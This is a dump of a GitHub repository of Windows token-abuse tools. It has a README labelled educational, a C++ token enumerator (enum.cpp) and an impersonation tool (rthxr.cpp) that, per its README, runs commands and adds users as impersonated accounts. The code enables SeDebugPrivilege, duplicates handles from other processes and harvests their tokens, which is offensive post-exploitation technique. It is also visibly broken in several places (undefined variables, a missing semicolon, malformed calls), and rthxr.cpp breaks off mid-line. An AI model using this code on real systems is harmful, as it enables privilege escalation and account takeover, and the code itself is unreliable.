├── tokenEnum.7z ├── tokenImpersonation.7z ├── TokenEnum ├── README.md └── enum.cpp ├── README.md └── TokenImpersonation ├── README.md └── rthxr.cpp /tokenEnum.7z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rthxr/Win32Api-Abusing-Tokens/HEAD/tokenEnum.7z -------------------------------------------------------------------------------- /tokenImpersonation.7z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rthxr/Win32Api-Abusing-Tokens/HEAD/tokenImpersonation.7z -------------------------------------------------------------------------------- /TokenEnum/README.md: -------------------------------------------------------------------------------- 1 |
2 | tokenEnum

3 | Made for token enumaration
Usage example below..



4 | 5 |
6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

made by rthxr


2 | Win32Api Abusing Tokens
3 | Made for educational purposes 4 |

TokenEnum
Enumerating all user tokens


5 | 6 | 7 |

TokenImpersonation
Impersonating users and running commands


8 | 9 | 10 |
11 | -------------------------------------------------------------------------------- /TokenImpersonation/README.md: -------------------------------------------------------------------------------- 1 |
2 | TokenImpersonation

3 | List
Command for token enumeration


4 |


5 | Adduser
Impersonated net user add functionality


6 |


7 | Exec
Impersonated "cmd.exe /c" to run commands as impersonated users


8 | 9 |
10 | -------------------------------------------------------------------------------- /TokenEnum/enum.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Author: Arthur (RTHXR) 3 | * 27/02/2024 4 | * Terminated on 27/02 22h00 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #pragma comment(lib, "netapi32.lib") 12 | #pragma comment(lib, "ntdll") 13 | 14 | #define MAX_USERNAME_LENGHT 256 15 | #define MAX_DOMAINNAME_LENGHT 256 16 | #define FULL_NAME_LENGHT 271 17 | #define TOKEN_TYPE_LENGHT 30 18 | #define COMMAND_LENGHT 1000 19 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) 20 | #define STATUS_INFO_LENGHT_MISMATCH ((NTSTATUS)0xC0000004L) 21 | #define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) 22 | #define SystemHandleInformation 16 23 | #define SystemHandleInformationize 1024 * 1024 * 10 24 | 25 | typedef struct _OBJECT_TYPE_INFORMATION 26 | { 27 | UNICODE_STRING Name; 28 | ULONG TotalNumberOfObjects; 29 | ULONG TotalNumberOfHandles; 30 | ULONG TotalPagedPoolUsage; 31 | ULONG TotalNonPagedPoolUsage; 32 | ULONG TotalNamePoolUsage; 33 | ULONG TotalHandleTableUsage; 34 | ULONG HighWaterNumberOfObjects; 35 | ULONG HighWaterNumberOfHandles; 36 | ULONG HighWaterPagedPoolUsage; 37 | ULONG HighWaterNonPagedPoolUsage; 38 | ULONG HighWaterNamePoolUsage; 39 | ULONG HighWaterHandleTableUsage; 40 | ULONG Inis_token_validAttributes; 41 | 42 | GENERIC_MAPPING GenericMapping; 43 | ULONG is_token_validAccess; 44 | 45 | BOOLEAN SecutiryRequired; 46 | BOOLEAN MaintainHandleCount; 47 | USHORT MaintainTypeList; 48 | 49 | POOL_TYPE PoolType; 50 | ULONG PagedPoolUsage; 51 | ULONG NonPagedPoolUsage; 52 | } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; 53 | 54 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 55 | { 56 | USHORT ProcessId; 57 | USHORT CreaterBackTraceIndex; 58 | UCHAR ObjectTypeIndex; 59 | UCHAR HandleAttributes; 60 | USHORT HandleValue; 61 | PVOID Object; 62 | ULONG GrantedAccess; 63 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 64 | 65 | typedef struct _SYSTEM_HANDLE_INFORMATION 66 | { 67 | ULONG NumberOfHandles; 68 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 69 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 70 | 71 | typedef enum _POOL_TYPE 72 | { 73 | NonPagedPool, 74 | PagedPool, 75 | NonPagedPoolMustSucceed, 76 | DontUseThisType, 77 | NonPagedPoolCacheAligned, 78 | PahedPoolCacheAligned, 79 | NonPagedPoolCacheAlignedMustS 80 | } POOL_TYPE, *PPOOL_TYPE; 81 | 82 | typedef UNICODE_STRING OBJECT_NAME_INFORMATION; 83 | typedef UNICODE_STRING *POBJECT_NAME_INFORMATION; 84 | 85 | typedef struct 86 | { 87 | HANDLE token_handle; 88 | int token_id; 89 | wchar_t owner_name[FULL_NAME_LENGHT]; 90 | wchar_t user_name[FULL_NAME_LENGHT]; 91 | wchar_t TokenType[100]; 92 | wchar_t TokenImpersonationLevel[100]; 93 | } TOKEN; 94 | 95 | using fNtQuerySystemInformation = NTSTATUS(WINAPI *)( 96 | ULONG SystemInformationClass, 97 | PVOID SystemInformation, 98 | ULONG SystemInformationLenght, 99 | PULONG ReturnLenght 100 | ); 101 | 102 | void get_token_owner_info(TOKEN *TOKEN_INFO) 103 | { 104 | wchar_t username[MAX_USERNAME_LENGHT]; 105 | wchar_t domain[MAX_DOMAINNAME_LENGHT]; 106 | wchar_t full_name[FULL_NAME_LENGHT]; 107 | SID_NAME_USE sid; 108 | DWORD user_lenght = sizeof(username), domain_lenght = sizeof(domain), token_info; 109 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, NULL, 0, &token_info)) 110 | { 111 | PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info); 112 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, TokenStatisticsInformation, token_info, &token_info)) 113 | { 114 | LookupAccountSidW(NULL, ((TOKEN_OWNER *)TokenStatisticsInformation)->Owner, username, &user_lenght, domain. &domain_lenght, &sid); 115 | _snwprintf_s(full_name, FULL_NAME_LENGHT, L"%ws/%ws", domain, username); 116 | wcscpy_s(TOKEN_INFO->owner_name, TOKEN_TYPE_LENGHT, full_name); 117 | } 118 | } 119 | } 120 | 121 | void get_token_user_info(TOKEN *TOKEN_INFO) 122 | { 123 | wchar_t username[MAX_USERNAME_LENGHT]; 124 | wchar_t domain[MAX_DOMAINNAME_LENGHT]; 125 | wchar_t full_name[FULL_NAME_LENGHT]; 126 | SID_NAME_USE sid; 127 | DWORD user_lenght = sizeof(username), domain_lenght = sizeof(domain), token_info; 128 | 129 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, NULL, 0, &token_info)) 130 | { 131 | PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info); 132 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, TokenStatisticsInformation, token_info, &token_info)) 133 | { 134 | LookupAccountSidW(NULL, ((TOKEN_USER *)TokenStatisticsInformation)->User.Sid, username, &user_lenght, domain, &domain_lenght, &sid); 135 | _snwprintf_s(full_name, FULL_NAME_LENGHT, L"%ws/%ws", domain, username); 136 | wcscpy_s(TOKEN_INFO->user_name, TOKEN_TYPE_LENGHT, full_name); 137 | } 138 | } 139 | } 140 | 141 | void get_token_security_context(TOKEN *TOKEN_INFO) 142 | { 143 | DWORD returned_tokimp_lenght; 144 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_lenght)) 145 | { 146 | PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_lenght); 147 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_lenght, &returned_tokimp_lenght)) 148 | { 149 | if(*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityImpersonation) 150 | { wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L"SecurityImpersonation"); } 151 | 152 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityDelegation) 153 | { wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L"SecurityDelegation"); } 154 | 155 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityAnonymous) 156 | { wcscpy_s(TOKEN_INFO->TokenImpersonationInformation, TOKEN_TYPE_LENGHT, L"SecurityAnonymous"); } 157 | 158 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityIdentification) 159 | { wcscpy_s(TOKEN_INFO->TokenImpersonationInformation, TOKEN_TYPE_LENGHT, L"SecurityIdentification"); } 160 | } 161 | } 162 | } 163 | 164 | void get_token_information(TOKEN *TOKEN_INFO) 165 | { 166 | DWORD returned_tokinfo_lenght; 167 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_lenght)) 168 | { 169 | PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_lenght); 170 | if (GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_lenght, &returned_tokinfo_lenght)) 171 | { 172 | if(TokenStatisticsInformation->TokenType == TokenPrimary) 173 | { wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGHT, L"TokenPrimary"); } 174 | 175 | else if(TokenStatisticsInformation->TokenType == TokenImpersonation) 176 | { wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGHT, L"TokenImpersonation"); } 177 | } 178 | } 179 | } 180 | 181 | LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) 182 | { 183 | LPWSTR data = NULL; 184 | DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION); 185 | POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize); 186 | 187 | NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dsize); 188 | if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGHT_MISMATCH)) 189 | { 190 | pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize); 191 | ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize); 192 | } 193 | 194 | if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) 195 | { 196 | data = (LPWSTR)calloc(pObjectInfo->Lenght, sizeof(WCHAR)); 197 | CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Lenght); 198 | } 199 | 200 | free(pObjectInfo); 201 | return data; 202 | } 203 | 204 | int wmain(int argc, wchar_t *argv[]) 205 | { 206 | HANDLE hToken; 207 | DWORD cbSize; 208 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); 209 | OpenProcessToken(hprocess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 210 | GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize); 211 | 212 | PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize); 213 | GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize); 214 | 215 | DWORD integrity_level = (DWORD) *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1)); 216 | 217 | if(integrity_level < SECURITY_MANDATORY_HIGH_RID) 218 | { 219 | printf("Low privilege error!!1!\n"); 220 | return 1 221 | } 222 | 223 | TOKEN_PRIVILEGES tp; 224 | LUID luidSeAssignPrimaryTokenPrivilege; 225 | printf("+ Enabling SeAssignPrimaryToken\n"); 226 | 227 | if(LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luidSeAssignPrimaryTokenPrivilege) == 0) 228 | { printf("\t- SeAssignPrimaryToken not owned\n"); } 229 | 230 | else 231 | { printf("\t+ SeAssignPrimaryToken owned!1!!"); } 232 | 233 | tp.privilegeCount = 1; 234 | tp.Privileges[0].Luid = luidSeAssignPrimaryTokenPrivilege; 235 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 236 | 237 | if(AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) 238 | { printf("\t- SeAssignPrimaryToken adjust token failed: %d\n", GetLastError()); } 239 | 240 | else 241 | { printf("\t+ SeAssignPrimaryToken enabled!1!!\n"); } 242 | 243 | LUID luidSeDebugPrivilege; 244 | printf("+ Enabling SeDebugPrivilege\n"); 245 | if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivilege) == 0) 246 | { printf("\t- SeDebugPrivilege not owned!1!!\n"); } 247 | 248 | else 249 | { printf("\t+ SeDebugPrivilege owned!1!!\n"); } 250 | 251 | tp.PrivilegeCount = 1; 252 | tp.Privileges[0].Luid = luidSeDebugPrivilege; 253 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 254 | 255 | if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) 256 | { printf("\t- SeDebugPrivilege adjust token failed: %d\n", GetLastError()); } 257 | else 258 | { printf("\t+ SeDebugPrivilege enabled!1!!\n"); } 259 | 260 | CloseHandle(hProcess); 261 | CloseHandle(hToken); 262 | 263 | ULONG ReturnLenght = 0; 264 | TOKEN found_tokens[100]; 265 | int nbrsfoundtokens = 0; 266 | 267 | fNtQuerySystemInformation fNtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"); 268 | PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationize); 269 | NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationize, &returnLenght); 270 | 271 | for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++) 272 | { 273 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i]; 274 | 275 | HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId); 276 | if(process == INVALID_HANDLE_VALUE) 277 | { 278 | CloseHandle(process); 279 | continue; 280 | } 281 | 282 | HANDLE dupHandle; 283 | if(DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0) 284 | { 285 | CloseHandle(process); 286 | continue; 287 | } 288 | 289 | POBJECT_NAME_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192); 290 | if(wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token")) 291 | { 292 | CloseHandle(process); 293 | CloseHandle(dupHandle); 294 | continue; 295 | } 296 | 297 | TOKEN TOKEN_INFO; 298 | TOKEN_INFO.token_handle = dupHandle; 299 | get_token_owner_info(&TOKEN_INFO); 300 | get_token_user_info(&TOKEN_INFO); 301 | get_token_information(&TOKEN_INFO); 302 | 303 | if(wcscmp(TOKEN_INFO.TokenType, L"TokenPrimary") != 0) 304 | { 305 | get_token_security_context(&TOKEN_INFO); 306 | } else { 307 | wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L" "); 308 | } 309 | 310 | int is_new_token = 0; 311 | for (int j = 0; j <= nbrsfoundtokens; j++) 312 | { 313 | if(wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO,TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0) 314 | { 315 | is_new_token = 1; 316 | } 317 | } 318 | if(is_new_token == 0) 319 | { 320 | TOKEN_INFO.token_id = nbrsfoundtokens; 321 | found_tokens[nbrsfoundtokens] = TOKEN_INFO; 322 | nbrsfoundtokens += 1; 323 | } 324 | 325 | CloseHandle(process); 326 | 327 | } 328 | 329 | printf("\n+ Listing available tokens\n"); 330 | for (int k = 0; k < nbrsfoundtokens; k++) 331 | { 332 | printf("[ID: %d][%ws][%ws] Owner: %ws User: %ws\n", found_tokens[k].token_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].owner_name, found_tokens[k].user_name); 333 | } 334 | 335 | return 0; 336 | } 337 | -------------------------------------------------------------------------------- /TokenImpersonation/rthxr.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * Author: Arthur (RTHXR) 3 | * 27/02/2024 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #pragma comment(lib, "netapi32.lib") 11 | #pragma comment(lib, "ntdll") 12 | 13 | #define MAX_USERNAME_LENGHT 256 14 | #define MAX_DOMAINNAME_LENGHT 256 15 | #define FULL_NAME_LENGHT 271 16 | #define TOKEN_TYPE_LENGHT 30 17 | #define COMMAND_LENGHT 1000 18 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) 19 | #define STATUS_INFO_LENGHT_MISMATCH ((NTSTATUS)0xC0000004L) 20 | #define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) 21 | #define SystemHandleInformation 16 22 | #define SystemHandleInformationize 1024 * 1024 * 10 23 | 24 | typedef struct _OBJECT_TYPE_INFORMATION 25 | { 26 | UNICODE_STRING Name; 27 | ULONG TotalNumberOfObjects; 28 | ULONG TotalNumberOfHandles; 29 | ULONG TotalPagedPoolUsage; 30 | ULONG TotalNonPagedPoolUsage; 31 | ULONG TotalNamePoolUsage; 32 | ULONG TotalHandleTableUsage; 33 | ULONG HighWaterNumberOfObjects; 34 | ULONG HighWaterNumberOfHandles; 35 | ULONG HighWaterPagedPoolUsage; 36 | ULONG HighWaterNonPagedPoolUsage; 37 | ULONG HighWaterNamePoolUsage; 38 | ULONG HighWaterHandleTableUsage; 39 | ULONG Inis_token_validAttributes; 40 | 41 | GENERIC_MAPPING GenericMapping; 42 | ULONG is_token_validAccess; 43 | 44 | BOOLEAN SecutiryRequired; 45 | BOOLEAN MaintainHandleCount; 46 | USHORT MaintainTypeList; 47 | 48 | POOL_TYPE PoolType; 49 | ULONG PagedPoolUsage; 50 | ULONG NonPagedPoolUsage; 51 | } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; 52 | 53 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 54 | { 55 | USHORT ProcessId; 56 | USHORT CreaterBackTraceIndex; 57 | UCHAR ObjectTypeIndex; 58 | UCHAR HandleAttributes; 59 | USHORT HandleValue; 60 | PVOID Object; 61 | ULONG GrantedAccess; 62 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 63 | 64 | typedef struct _SYSTEM_HANDLE_INFORMATION 65 | { 66 | ULONG NumberOfHandles; 67 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 68 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 69 | 70 | typedef enum _POOL_TYPE 71 | { 72 | NonPagedPool, 73 | PagedPool, 74 | NonPagedPoolMustSucceed, 75 | DontUseThisType, 76 | NonPagedPoolCacheAligned, 77 | PahedPoolCacheAligned, 78 | NonPagedPoolCacheAlignedMustS 79 | } POOL_TYPE, *PPOOL_TYPE; 80 | 81 | typedef UNICODE_STRING OBJECT_NAME_INFORMATION; 82 | typedef UNICODE_STRING *POBJECT_NAME_INFORMATION; 83 | 84 | typedef struct 85 | { 86 | HANDLE token_handle; 87 | int token_id; 88 | wchar_t owner_name[FULL_NAME_LENGHT]; 89 | wchar_t user_name[FULL_NAME_LENGHT]; 90 | wchar_t TokenType[100]; 91 | wchar_t TokenImpersonationLevel[100]; 92 | } TOKEN; 93 | 94 | using fNtQuerySystemInformation = NTSTATUS(WINAPI *)( 95 | ULONG SystemInformationClass, 96 | PVOID SystemInformation, 97 | ULONG SystemInformationLenght, 98 | PULONG ReturnLenght 99 | ); 100 | 101 | void usage() 102 | { 103 | printf("Usage: \n"); 104 | printf("\t- Impersonating users and running commands: rthxr.exe exec \n\n"); 105 | exit(0); 106 | } 107 | 108 | void get_token_owner_info(TOKEN *TOKEN_INFO) 109 | { 110 | wchar_t username[MAX_USERNAME_LENGHT]; 111 | wchar_t domain[MAX_DOMAINNAME_LENGHT]; 112 | wchar_t full_name[FULL_NAME_LENGHT]; 113 | SID_NAME_USE sid; 114 | DWORD user_lenght = sizeof(username), domain_lenght = sizeof(domain), token_info; 115 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, NULL, 0, &token_info)) 116 | { 117 | PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info); 118 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, TokenStatisticsInformation, token_info, &token_info)) 119 | { 120 | LookupAccountSidW(NULL, ((TOKEN_OWNER *)TokenStatisticsInformation)->Owner, username, &user_lenght, domain. &domain_lenght, &sid); 121 | _snwprintf_s(full_name, FULL_NAME_LENGHT, L"%ws/%ws", domain, username); 122 | wcscpy_s(TOKEN_INFO->owner_name, TOKEN_TYPE_LENGHT, full_name); 123 | } 124 | } 125 | } 126 | 127 | void get_token_user_info(TOKEN *TOKEN_INFO) 128 | { 129 | wchar_t username[MAX_USERNAME_LENGHT]; 130 | wchar_t domain[MAX_DOMAINNAME_LENGHT]; 131 | wchar_t full_name[FULL_NAME_LENGHT]; 132 | SID_NAME_USE sid; 133 | DWORD user_lenght = sizeof(username), domain_lenght = sizeof(domain), token_info; 134 | 135 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, NULL, 0, &token_info)) 136 | { 137 | PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info); 138 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, TokenStatisticsInformation, token_info, &token_info)) 139 | { 140 | LookupAccountSidW(NULL, ((TOKEN_USER *)TokenStatisticsInformation)->User.Sid, username, &user_lenght, domain, &domain_lenght, &sid); 141 | _snwprintf_s(full_name, FULL_NAME_LENGHT, L"%ws/%ws", domain, username); 142 | wcscpy_s(TOKEN_INFO->user_name, TOKEN_TYPE_LENGHT, full_name); 143 | } 144 | } 145 | } 146 | 147 | void get_token_security_context(TOKEN *TOKEN_INFO) 148 | { 149 | DWORD returned_tokimp_lenght; 150 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_lenght)) 151 | { 152 | PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_lenght); 153 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_lenght, &returned_tokimp_lenght)) 154 | { 155 | if(*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityImpersonation) 156 | { wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L"SecurityImpersonation"); } 157 | 158 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityDelegation) 159 | { wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L"SecurityDelegation"); } 160 | 161 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityAnonymous) 162 | { wcscpy_s(TOKEN_INFO->TokenImpersonationInformation, TOKEN_TYPE_LENGHT, L"SecurityAnonymous"); } 163 | 164 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityIdentification) 165 | { wcscpy_s(TOKEN_INFO->TokenImpersonationInformation, TOKEN_TYPE_LENGHT, L"SecurityIdentification"); } 166 | } 167 | } 168 | } 169 | 170 | void get_token_information(TOKEN *TOKEN_INFO) 171 | { 172 | DWORD returned_tokinfo_lenght; 173 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_lenght)) 174 | { 175 | PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_lenght); 176 | if (GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_lenght, &returned_tokinfo_lenght)) 177 | { 178 | if(TokenStatisticsInformation->TokenType == TokenPrimary) 179 | { wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGHT, L"TokenPrimary"); } 180 | 181 | else if(TokenStatisticsInformation->TokenType == TokenImpersonation) 182 | { wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGHT, L"TokenImpersonation"); } 183 | } 184 | } 185 | } 186 | 187 | LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass) 188 | { 189 | LPWSTR data = NULL; 190 | DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION); 191 | POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize); 192 | 193 | NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dsize); 194 | if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGHT_MISMATCH)) 195 | { 196 | pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize); 197 | ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize); 198 | } 199 | 200 | if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL)) 201 | { 202 | data = (LPWSTR)calloc(pObjectInfo->Lenght, sizeof(WCHAR)); 203 | CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Lenght); 204 | } 205 | 206 | free(pObjectInfo); 207 | return data; 208 | } 209 | 210 | int wmain(int argc, wchar_t *argv[]) 211 | { 212 | HANDLE hToken; 213 | DWORD cbSize; 214 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); 215 | OpenProcessToken(hprocess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 216 | GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize); 217 | 218 | PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize); 219 | GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize); 220 | 221 | DWORD integrity_level = (DWORD) *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1)); 222 | 223 | if(integrity_level < SECURITY_MANDATORY_HIGH_RID) 224 | { 225 | printf("Low privilege error!!1!\n"); 226 | return 1 227 | } 228 | 229 | TOKEN_PRIVILEGES tp; 230 | LUID luidSeAssignPrimaryTokenPrivilege; 231 | printf("+ Enabling SeAssignPrimaryToken\n"); 232 | 233 | if(LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luidSeAssignPrimaryTokenPrivilege) == 0) 234 | { printf("\t- SeAssignPrimaryToken not owned\n"); } 235 | 236 | else 237 | { printf("\t+ SeAssignPrimaryToken owned!1!!"); } 238 | 239 | tp.privilegeCount = 1; 240 | tp.Privileges[0].Luid = luidSeAssignPrimaryTokenPrivilege; 241 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 242 | 243 | if(AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) 244 | { printf("\t- SeAssignPrimaryToken adjust token failed: %d\n", GetLastError()); } 245 | 246 | else 247 | { printf("\t+ SeAssignPrimaryToken enabled!1!!\n"); } 248 | 249 | LUID luidSeDebugPrivilege; 250 | printf("+ Enabling SeDebugPrivilege\n"); 251 | if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivilege) == 0) 252 | { printf("\t- SeDebugPrivilege not owned!1!!\n"); } 253 | 254 | else 255 | { printf("\t+ SeDebugPrivilege owned!1!!\n"); } 256 | 257 | tp.PrivilegeCount = 1; 258 | tp.Privileges[0].Luid = luidSeDebugPrivilege; 259 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 260 | 261 | if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) 262 | { printf("\t- SeDebugPrivilege adjust token failed: %d\n", GetLastError()); } 263 | else 264 | { printf("\t+ SeDebugPrivilege enabled!1!!\n"); } 265 | 266 | CloseHandle(hProcess); 267 | CloseHandle(hToken); 268 | 269 | ULONG ReturnLenght = 0; 270 | TOKEN found_tokens[100]; 271 | int nbrsfoundtokens = 0; 272 | 273 | fNtQuerySystemInformation fNtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"); 274 | PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationize); 275 | NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, 